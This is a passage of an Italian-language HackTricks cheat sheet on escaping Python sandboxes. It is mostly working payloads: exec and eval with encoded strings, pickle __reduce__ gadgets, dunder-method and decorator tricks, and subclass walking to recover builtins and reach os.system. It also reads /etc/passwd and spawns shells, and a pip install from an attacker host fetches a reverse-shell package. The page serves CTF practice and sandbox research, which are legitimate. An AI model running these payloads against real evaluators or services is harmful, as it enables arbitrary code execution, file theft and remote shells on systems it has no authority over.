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1074 lines
61 KiB
Markdown
1074 lines
61 KiB
Markdown
# Bypass Python sandboxes
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{{#include ../../../banners/hacktricks-training.md}}
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Questi sono alcuni trucchi per bypass python sandbox protections ed eseguire comandi arbitrari.
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## Librerie per l'esecuzione di comandi
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La prima cosa che devi sapere è se puoi eseguire codice direttamente con qualche libreria già importata, o se puoi importare una qualsiasi di queste librerie:
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```python
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os.system("ls")
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os.popen("ls").read()
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commands.getstatusoutput("ls")
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commands.getoutput("ls")
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commands.getstatus("file/path")
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subprocess.call("ls", shell=True)
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subprocess.Popen("ls", shell=True)
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pty.spawn("ls")
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pty.spawn("/bin/bash")
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platform.os.system("ls")
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pdb.os.system("ls")
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#Import functions to execute commands
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importlib.import_module("os").system("ls")
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importlib.__import__("os").system("ls")
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imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
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imp.os.system("ls")
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imp.sys.modules["os"].system("ls")
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sys.modules["os"].system("ls")
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__import__("os").system("ls")
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import os
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from os import *
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#Other interesting functions
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open("/etc/passwd").read()
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open('/var/www/html/input', 'w').write('123')
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#In Python2.7
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execfile('/usr/lib/python2.7/os.py')
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system('ls')
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```
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Ricorda che le funzioni _**open**_ e _**read**_ possono essere utili per **leggere file** all'interno del python sandbox e per **scrivere del codice** che potresti **eseguire** per **bypassare** la sandbox.
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> [!CAUTION] > **Python2 input()** function permette di eseguire codice python prima che il programma crashi.
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Python cerca di **caricare le librerie dalla directory corrente prima** (il comando seguente stamperà da dove python sta caricando i moduli): `python3 -c 'import sys; print(sys.path)'`
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.png>)
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## Bypass pickle sandbox con i pacchetti python installati di default
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### Pacchetti predefiniti
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Puoi trovare una **lista dei pacchetti pre-installati** qui: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
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Nota che da un pickle puoi far sì che il python env **import arbitrary libraries** installate nel sistema.\
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Per esempio, il seguente pickle, quando caricato, importerà la libreria pip per usarla:
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```python
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#Note that here we are importing the pip library so the pickle is created correctly
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#however, the victim doesn't even need to have the library installed to execute it
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#the library is going to be loaded automatically
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import pickle, os, base64, pip
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class P(object):
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def __reduce__(self):
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return (pip.main,(["list"],))
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print(base64.b64encode(pickle.dumps(P(), protocol=0)))
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```
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Per maggiori informazioni su come funziona pickle consulta questo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
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### Pip package
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Trick condiviso da **@isHaacK**
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Se hai accesso a `pip` o `pip.main()` puoi installare un pacchetto arbitrario e ottenere una reverse shell chiamando:
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```bash
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pip install http://attacker.com/Rerverse.tar.gz
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pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
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```
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Puoi scaricare il pacchetto per creare la reverse shell qui. Per favore, nota che prima di usarlo dovresti **decomprimerlo, modificare il `setup.py`, e inserire il tuo IP per la reverse shell**:
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{{#file}}
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Reverse.tar (1).gz
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{{#endfile}}
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> [!TIP]
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> Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in modo che quando esci dalla reverse shell il resto dell'installazione fallisca, quindi **non lascerai alcun pacchetto python aggiuntivo installato sul server** quando te ne andrai.
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## Eval-ing python code
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> [!WARNING]
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> Nota che exec permette stringhe multilinea e ";", ma eval no (check walrus operator)
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Se alcuni caratteri sono proibiti puoi usare la rappresentazione **hex/octal/B64** per **bypass** la restrizione:
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```python
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exec("print('RCE'); __import__('os').system('ls')") #Using ";"
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exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
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eval("__import__('os').system('ls')") #Eval doesn't allow ";"
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eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
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__import__('timeit').timeit("__import__('os').system('ls')",number=1)
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#One liners that allow new lines and tabs
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eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
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```
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```python
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#Octal
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exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
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#Hex
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exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
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#Base64
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exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
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exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
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```
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### Altre librerie che consentono di usare eval su codice python
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```python
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#Pandas
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import pandas as pd
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df = pd.read_csv("currency-rates.csv")
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df.query('@__builtins__.__import__("os").system("ls")')
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df.query("@pd.io.common.os.popen('ls').read()")
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df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
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# The previous options work but others you might try give the error:
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# Only named functions are supported
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# Like:
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df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
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```
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Vedi anche un caso reale di escape da un sandboxed evaluator nei generatori PDF:
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- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Abusa di rl_safe_eval per raggiungere function.__globals__ e os.system tramite attributi valutati (per esempio, il colore del font) e restituisce un valore valido per mantenere il rendering stabile.
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{{#ref}}
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reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
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{{#endref}}
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## Operatori e trucchi rapidi
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```python
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# walrus operator allows generating variable inside a list
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## everything will be executed in order
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## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
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[a:=21,a*2]
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[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
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## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
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```
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## Bypass delle protezioni tramite encodings (UTF-7)
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In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 viene usato per caricare ed eseguire codice python arbitrario all'interno di un apparente sandbox:
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```python
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assert b"+AAo-".decode("utf_7") == "\n"
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payload = """
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# -*- coding: utf_7 -*-
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def f(x):
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return x
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#+AAo-print(open("/flag.txt").read())
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""".lstrip()
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```
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È anche possibile bypassarlo usando altre codifiche, es. `raw_unicode_escape` e `unicode_escape`.
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## Esecuzione Python senza chiamate
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Se ti trovi dentro una python jail che **non ti permette di effettuare chiamate**, ci sono comunque alcuni modi per **eseguire funzioni arbitrarie, codice** e **comandi**.
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### RCE con [decorators](https://docs.python.org/3/glossary.html#term-decorator)
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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@exec
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@input
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class X:
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pass
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# The previous code is equivalent to:
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class X:
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pass
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X = input(X)
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X = exec(X)
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# So just send your python code when prompted and it will be executed
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# Another approach without calling input:
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@eval
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@'__import__("os").system("sh")'.format
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class _:pass
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```
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### RCE creando objects and overloading
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Se puoi **dichiarare una class** e **creare un object** di quella class, puoi **scrivere/sovrascrivere diversi methods** che possono essere **triggered** **senza** **aver bisogno di chiamarli direttamente**.
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#### RCE con custom classes
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Puoi modificare alcuni **class methods** (_sovrascrivendo i class methods esistenti o creando una nuova class_) per farli **execute arbitrary code** quando vengono **triggered** senza chiamarli direttamente.
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```python
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# This class has 3 different ways to trigger RCE without directly calling any function
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class RCE:
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def __init__(self):
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self += "print('Hello from __init__ + __iadd__')"
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__iadd__ = exec #Triggered when object is created
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def __del__(self):
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self -= "print('Hello from __del__ + __isub__')"
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__isub__ = exec #Triggered when object is created
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__getitem__ = exec #Trigerred with obj[<argument>]
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__add__ = exec #Triggered with obj + <argument>
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# These lines abuse directly the previous class to get RCE
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rce = RCE() #Later we will see how to create objects without calling the constructor
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rce["print('Hello from __getitem__')"]
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rce + "print('Hello from __add__')"
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del rce
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# These lines will get RCE when the program is over (exit)
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sys.modules["pwnd"] = RCE()
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exit()
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# Other functions to overwrite
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__sub__ (k - 'import os; os.system("sh")')
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__mul__ (k * 'import os; os.system("sh")')
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__floordiv__ (k // 'import os; os.system("sh")')
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__truediv__ (k / 'import os; os.system("sh")')
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__mod__ (k % 'import os; os.system("sh")')
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__pow__ (k**'import os; os.system("sh")')
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__lt__ (k < 'import os; os.system("sh")')
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__le__ (k <= 'import os; os.system("sh")')
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__eq__ (k == 'import os; os.system("sh")')
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__ne__ (k != 'import os; os.system("sh")')
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__ge__ (k >= 'import os; os.system("sh")')
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__gt__ (k > 'import os; os.system("sh")')
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__iadd__ (k += 'import os; os.system("sh")')
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__isub__ (k -= 'import os; os.system("sh")')
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__imul__ (k *= 'import os; os.system("sh")')
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__ifloordiv__ (k //= 'import os; os.system("sh")')
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__idiv__ (k /= 'import os; os.system("sh")')
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__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
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__imod__ (k %= 'import os; os.system("sh")')
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__ipow__ (k **= 'import os; os.system("sh")')
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__ilshift__ (k<<= 'import os; os.system("sh")')
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__irshift__ (k >>= 'import os; os.system("sh")')
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__iand__ (k = 'import os; os.system("sh")')
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__ior__ (k |= 'import os; os.system("sh")')
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__ixor__ (k ^= 'import os; os.system("sh")')
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```
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#### Creazione di oggetti con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
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La cosa fondamentale che metaclasses ci permettono di fare è **creare un'istanza di una classe senza chiamare direttamente il constructor**, creando una nuova classe con la classe target come metaclass.
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```python
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# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
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# This will define the members of the "subclass"
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class Metaclass(type):
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__getitem__ = exec # So Sub[string] will execute exec(string)
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# Note: Metaclass.__class__ == type
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class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
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pass # Nothing special to do
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Sub['import os; os.system("sh")']
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## You can also use the tricks from the previous section to get RCE with this object
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```
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#### Creazione di oggetti con eccezioni
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Quando **viene sollevata un'eccezione**, un oggetto di **Exception** viene **creato** senza che tu debba chiamare il costruttore direttamente (un trucco di [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
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```python
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class RCE(Exception):
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def __init__(self):
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self += 'import os; os.system("sh")'
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__iadd__ = exec #Triggered when object is created
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raise RCE #Generate RCE object
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# RCE with __add__ overloading and try/except + raise generated object
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class Klecko(Exception):
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__add__ = exec
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try:
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raise Klecko
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except Klecko as k:
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k + 'import os; os.system("sh")' #RCE abusing __add__
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## You can also use the tricks from the previous section to get RCE with this object
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```
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### Più RCE
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```python
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# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
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# If sys is imported, you can sys.excepthook and trigger it by triggering an error
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class X:
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def __init__(self, a, b, c):
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self += "os.system('sh')"
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__iadd__ = exec
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sys.excepthook = X
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1/0 #Trigger it
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# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
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# The interpreter will try to import an apt-specific module to potentially
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# report an error in ubuntu-provided modules.
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# Therefore the __import__ functions are overwritten with our RCE
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class X():
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def __init__(self, a, b, c, d, e):
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self += "print(open('flag').read())"
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__iadd__ = eval
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__builtins__.__import__ = X
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{}[1337]
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```
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### Leggi il file con builtins help & licenza
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```python
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__builtins__.__dict__["license"]._Printer__filenames=["flag"]
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a = __builtins__.help
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a.__class__.__enter__ = __builtins__.__dict__["license"]
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a.__class__.__exit__ = lambda self, *args: None
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with (a as b):
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pass
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```
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## Builtins
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- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
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- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
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Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che puoi anche usare qui altre rappresentazioni stringa mostrate nell'ultima sezione):
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```python
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__builtins__.__import__("os").system("ls")
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__builtins__.__dict__['__import__']("os").system("ls")
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```
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### No Builtins
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Quando non hai `__builtins__` non sarai in grado di importare nulla né tantomeno leggere o scrivere file poiché **tutte le funzioni globali** (come `open`, `import`, `print`...) **non sono caricate**.\
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Tuttavia, **per default python importa molti moduli in memoria**. Questi moduli possono sembrare innocui, ma alcuni di essi **importano anche funzionalità pericolose** al loro interno che possono essere sfruttate per ottenere persino **arbitrary code execution**.
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Negli esempi seguenti puoi osservare come **abusare** di alcuni di questi moduli "**apparentemente innocui**" caricati per **accedere** a **funzionalità** **pericolose** al loro interno.
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**Python2**
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```python
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#Try to reload __builtins__
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reload(__builtins__)
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import __builtin__
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# Read recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
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# Write recovering <type 'file'> in offset 40
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().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
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# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
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# Execute (another method)
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().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
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# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
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().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
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# Or you could obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
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```
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#### Python3
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```python
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# Obtain builtins from a globally defined function
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# https://docs.python.org/3/library/functions.html
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help.__call__.__builtins__ # or __globals__
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license.__call__.__builtins__ # or __globals__
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credits.__call__.__builtins__ # or __globals__
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print.__self__
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dir.__self__
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globals.__self__
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len.__self__
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__build_class__.__self__
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# Obtain the builtins from a defined function
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get_flag.__globals__['__builtins__']
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# Get builtins from loaded classes
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[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
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```
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[**Below there is a bigger function**](#recursive-search-of-builtins-globals) per trovare decine/**centinaia** di **posti** dove puoi trovare i **builtins**.
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#### Python2 e Python3
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```python
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# Recover __builtins__ and make everything easier
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__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
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__builtins__["__import__"]('os').system('ls')
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```
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### Builtins payloads
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```python
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# Possible payloads once you have found the builtins
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__builtins__["open"]("/etc/passwd").read()
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__builtins__["__import__"]("os").system("ls")
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# There are lots of other payloads that can be abused to execute commands
|
||
# See them below
|
||
```
|
||
## Globals e locals
|
||
|
||
Controllare le **`globals`** e le **`locals`** è un buon modo per sapere a cosa puoi accedere.
|
||
```python
|
||
>>> globals()
|
||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||
>>> locals()
|
||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||
|
||
# Obtain globals from a defined function
|
||
get_flag.__globals__
|
||
|
||
# Obtain globals from an object of a class
|
||
class_obj.__init__.__globals__
|
||
|
||
# Obtaining globals directly from loaded classes
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
|
||
[<class 'function'>]
|
||
|
||
# Obtaining globals from __init__ of loaded classes
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
|
||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||
# Without the use of the dir() function
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||
```
|
||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||
|
||
## Discover Arbitrary Execution
|
||
|
||
Qui voglio spiegare come scoprire facilmente **funzionalità caricate più pericolose** e proporre exploits più affidabili.
|
||
|
||
#### Accesso alle sottoclassi con bypass
|
||
|
||
Una delle parti più sensibili di questa tecnica è poter **accedere alle sottoclassi base**. Negli esempi precedenti questo è stato fatto usando `''.__class__.__base__.__subclasses__()` ma ci sono **altri modi possibili**:
|
||
```python
|
||
#You can access the base from mostly anywhere (in regular conditions)
|
||
"".__class__.__base__.__subclasses__()
|
||
[].__class__.__base__.__subclasses__()
|
||
{}.__class__.__base__.__subclasses__()
|
||
().__class__.__base__.__subclasses__()
|
||
(1).__class__.__base__.__subclasses__()
|
||
bool.__class__.__base__.__subclasses__()
|
||
print.__class__.__base__.__subclasses__()
|
||
open.__class__.__base__.__subclasses__()
|
||
defined_func.__class__.__base__.__subclasses__()
|
||
|
||
#You can also access it without "__base__" or "__class__"
|
||
# You can apply the previous technique also here
|
||
"".__class__.__bases__[0].__subclasses__()
|
||
"".__class__.__mro__[1].__subclasses__()
|
||
"".__getattribute__("__class__").mro()[1].__subclasses__()
|
||
"".__getattribute__("__class__").__base__.__subclasses__()
|
||
|
||
# This can be useful in case it is not possible to make calls (therefore using decorators)
|
||
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
|
||
|
||
#If attr is present you can access everything as a string
|
||
# This is common in Django (and Jinja) environments
|
||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||
```
|
||
### Trovare librerie pericolose caricate
|
||
|
||
Ad esempio, sapendo che con la libreria **`sys`** è possibile **importare librerie arbitrarie**, puoi cercare tutti i **moduli caricati che hanno importato sys al loro interno**:
|
||
```python
|
||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||
```
|
||
Ce ne sono molti, e **ne serve solo uno** per eseguire comandi:
|
||
```python
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||
```
|
||
Possiamo fare la stessa cosa con **altre librerie** che sappiamo possono essere usate per **eseguire comandi**:
|
||
```python
|
||
#os
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
|
||
|
||
#subprocess
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
|
||
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
|
||
|
||
#builtins
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
|
||
|
||
#sys
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
|
||
|
||
#commands (not very common)
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
|
||
|
||
#pty (not very common)
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
|
||
|
||
#importlib
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
|
||
|
||
#pdb
|
||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||
```
|
||
Inoltre, potremmo persino cercare quali moduli stanno caricando librerie dannose:
|
||
```python
|
||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||
for b in bad_libraries_names:
|
||
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
|
||
print(f"{b}: {', '.join(vuln_libs)}")
|
||
|
||
"""
|
||
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
|
||
commands:
